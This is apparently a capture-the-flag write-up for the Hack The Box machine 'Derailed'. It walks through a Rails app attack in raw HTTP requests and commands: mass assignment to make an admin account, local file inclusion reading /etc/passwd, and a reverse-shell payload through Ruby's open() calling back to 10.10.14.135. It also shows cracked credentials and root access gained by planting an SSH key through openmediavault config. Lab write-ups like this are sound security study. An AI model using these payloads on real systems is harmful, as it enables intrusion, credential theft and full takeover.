Rails version 6.1.6Ruby version ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]RubyGems version 3.1.4Rack version 2.2.3MiddlewareWebpacker::DevServerProxyActionDispatch::HostAuthorizationRack::SendfileActionDispatch::StaticActionDispatch::ExecutorActiveSupport::Cache::Strategy::LocalCache::MiddlewareRack::RuntimeRack::MethodOverrideActionDispatch::RequestIdActionDispatch::RemoteIpSprockets::Rails::QuietAssetsRails::Rack::LoggerActionDispatch::ShowExceptionsActionDispatch::ActionableExceptionsActionDispatch::ReloaderActionDispatch::CallbacksActiveRecord::Migration::CheckPendingActionDispatch::CookiesActionDispatch::Session::CookieStoreActionDispatch::FlashActionDispatch::ContentSecurityPolicy::MiddlewareActionDispatch::PermissionsPolicy::MiddlewareRack::HeadRack::ConditionalGetRack::ETagRack::TempfileReaperApplication root /var/www/rails-appEnvironment developmentDatabase adapter sqlite3Database schema version 20220529182601
Exploitation
After testing different routes for a longer period of time I started checking the registration and login process.
When calling http://derailed.htb:3000/administration we can see that only admins are allowed to view that page. Seems like we're dealing with roles that are assigned to each account.
Register Request
We can see that which parameters are set when we register as a normal user
POST /register HTTP/1.1Host:derailed.htb:3000User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://derailed.htb:3000/registerContent-Type:application/x-www-form-urlencodedContent-Length:194Origin:http://derailed.htb:3000DNT:1Connection:closeCookie: _simple_rails_session=%2FxEQgz4cj8kSRMDGb%2FVHF%2B5nRsrspsZ%2Bm8aqmfbxgCnwbPlV7o75R5ZZPl7F4pf5%2Bodirt10UMa5HsERcjf%2BlmrqGE6MZXb6q7KwUnvGhyywfOA4IkhnboRLhdVF7zlSUJLM37mPT659vNhd2xwGd8H1d5hqtGnafx5LXzJlcJOewRzUq3lL41ooI7g01bHd5iXAFsLtfcSMl8mYV5Xyd6YV0Th%2FIrssHBcs7tHpvmQ1rwuBNA%2Fnh7T18i8HGGi5Zt2TLAEL0BCPlm9BAt9yBR4vJPzN26UsaRZab6k%3D--7DW4tXKgtOhzLb6%2F--EDFC25BjrLmw9sKHi38CzQ%3D%3D
Upgrade-Insecure-Requests:1authenticity_token=WampkFYIf5xi_rJxY8XbnNeaxc1kMAUqUaK0wR6CTovyDYW1iH4clfXch_zu_YD091JWMB6XfG4Ryy1OCu3x9A&user[username]=user01&user[password]=user01&user[password_confirmation]=user01
Mass Assignment Vulnerability
After playing around for a while I discovered the right parameter to create an admin account
POST /register HTTP/1.1Host:derailed.htb:3000User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://derailed.htb:3000/registerContent-Type:application/x-www-form-urlencodedContent-Length:223Origin:http://derailed.htb:3000DNT:1Connection:closeCookie: _simple_rails_session=wCV43wRVDha2NMtHT1%2BCgeW%2B0kC3kqnGA%2BMeuNdM%2FnA4NE44C9Bjsm%2BgIIPUpGcQX7TI68mSwNGqyrkVkMyru%2Fb0DrUUFgsYNXh6OVUaN%2By%2BkwGiUB95cZZ6rXQGmGb4Xx9MB%2FCB5itzoNB8Yd%2BHNjU%2FLZvpCfNntZwOyU9XTsR9rqXr9FOZy5fqIcNnhurTX7PaLyCHTifyAPCuIzhWbJ9rhtiETv0M2mp%2BIRU7xYGRswqau4jomsnytxL30MyVn9EjnW9oQNKp%2FWicLTS0f1VOK29twih27c4iIec%3D--5DHMtqqxi91urSsu--LLafZP2XM7gzwFFCMZtFOA%3D%3D
Upgrade-Insecure-Requests:1authenticity_token=hZTIv7a_WQ0glqeMKIsOk1GFPeMJok89YDlTW8chg54ZLJZoP66r6vf4YfYHq8DEbN7onTfPwvcSQ5dkh6LKag&user[username]=admin&user[password]=admin&user[password_confirmation]=admin&user[role]=administrator
LFI
While I checked out the admin panel I discovered that I as an administrator am able to download reports.
That's a candidate for a nice local file inclusion
Original Request
POST /administration/reports HTTP/1.1Host:derailed.htb:3000User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://derailed.htb:3000/administrationContent-Type:application/x-www-form-urlencodedContent-Length:146Origin:http://derailed.htb:3000DNT:1Connection:closeCookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests:1authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=report_21_11_2022.log&button=
Get /etc/passwd
This will show us all the users that are currently on the machine and give us an overview
POST /administration/reports HTTP/1.1Host:derailed.htb:3000User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://derailed.htb:3000/administrationContent-Type:application/x-www-form-urlencodedContent-Length:136Origin:http://derailed.htb:3000DNT:1Connection:closeCookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests:1authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/etc/passwd&button=
classAdminController<ApplicationControllerdefindexif!is_admin? flash[:error] ="You must be an admin to access this section" redirect_to :loginend @report_file = helpers.get_report_file() @files =Dir.glob("report*log")p @filesenddefcreateif!is_admin? flash[:error] ="You must be an admin to access this section" redirect_to :loginend report_log = params[:report_log]begin file =open(report_log) @content =""while line = file.gets @content += lineend send_data @content, :filename =>File.basename(report_log)rescue redirect_to request.referrer, flash: { error: "The report was not found." }endendend
Shell
We get our foothold by abusing the Kernel-level Open Function
POST /administration/reports HTTP/1.1Host:derailed.htb:3000User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://derailed.htb:3000/administrationContent-Type:application/x-www-form-urlencodedContent-Length:171Origin:http://derailed.htb:3000DNT:1Connection:closeCookie: _simple_rails_session=htXtRmBmBp4Vd8bqt51W5qrqjLy8fP1MGGfhBXNnt0wNGYuEZbD4RjpOgHXbn2SFKQ1LuwDExnFxzhX36wiEC5W43wBRLFYR2zImtAaRMxH7CRcofk91ZOtUSXPzt10kG33c6D529pZt%2BPOj%2Fs7741SikfeM4GLK%2FeM6wEOCShSfd08xBgHrt3dW1kccUInW1S87QhIFGpmOTxSOQSpzjVODTwpJI0G3D%2B%2BVKot7xo4d%2FZbZpDGFfFlkt9qDeN63tC%2BSNOh6UaB0cH6unfDuRETUkcOyNQuHA7sVoeR4VEhVoEgojM9aS8JRx2Sq--XRvklENQh2bhVtne--d%2F%2F1Hil3FqfPliTPAUgpBQ%3D%3D
Upgrade-Insecure-Requests:1authenticity_token=rDJYaCPl2HYD84bjdp8F7RZBX3qLnGGRjer8M-jgC2pfSN3VXaHRnZfENBfDw1glbiUJSTt3fq1jI6yVarqISw&report_log=|bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.135/4000+0>%261'
Privilege Escalation
Local Enumeration
While poking around we already detected that openmediavault is installed
We can switch to the openmediavault-webgui due to password reuse.
Checking /etc/passwd you can see that this account is associated to Toby Wright and the password we were able to crack was called toby
Creds
openmediavault-webgui:greenday
Pivoting Setup
To reach the app you have to have either port forwarding or use a tunnel.
Chisel did the job for me, it's my go to tool :)
Since the default credentials doesn't work we have to reset the password
/usr/sbin/omv-firstaid
SSH Key Deployment
After some time of digging aroung the app and learning how it functions we notice that we are able to deploy ssh keys with it using it's config files as the webpanel doesn't allow us to do anything related to user management.
We just have to change the block for the user test to user root add our ssh key and visit the Web GUI to apply our changes
# Generate SSH Keysssh-keygen-trsa# Convert to RFC4716 Formatssh-keygen-e-fid_rsa.pub
<user><uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid><name>root</name><email></email><disallowusermod>0</disallowusermod><sshpubkeys><sshpubkey>---- BEGIN SSH2 PUBLIC KEY ----Comment: "3072-bit RSA, converted by mrk@parrot from OpenSSH"AAAAB3NzaC1yc2EAAAADAQABAAABgQDBIB5L7CoUUtERwWgHCEqXgxJxkKQfTlQYKWhVsOH0r5YMGjjNNuUf7pDVUnp3tEPJ/nXjOJtCk/X5v4s0/CMFwbCqggWZ0KLcdVXcDOgWce9U+Acjt9XELRzMfJyHB3q1jgOQm9M5dIAif0+fhIupCTjoFVB4z/MrlDkGOBiFbcMG3ccT8wslhafd+x+ldflKei18SwatzgtRtw2yKAeiuubqKcB1RyLwZQPO+RgDpsV2LNCG2w7FjiKQ6Og/fvyCktnQk844Ex6/xsQM3wYejImeTuvhY85/T/SUrE7ay9xhwn2Ev/q1oJV4KlwLTo3Ggbbva6SWvZ061vZfSQML4AhG27zTaJ8G7bkck0ejMX7q+ibmoiF5Qj7GIepK6fhmQqu2hwzLH8i58K8wCN6Y4rjkBqk0p5psho0DbOIZPxVDq1e8Ht37X5HnxyAaIhdB6xLh5VhRIrpUeUdYAY45yrP7WQhHWZXfEWyslUhi8WpwgHrlqasUWwuIyyZ38O0=---- END SSH2 PUBLIC KEY ----</sshpubkey></sshpubkeys></user>
Rooted
# Just use ssh with our priv keyssh-i./id_rsaroot@derailed.htb# Flagcat/root/root.txt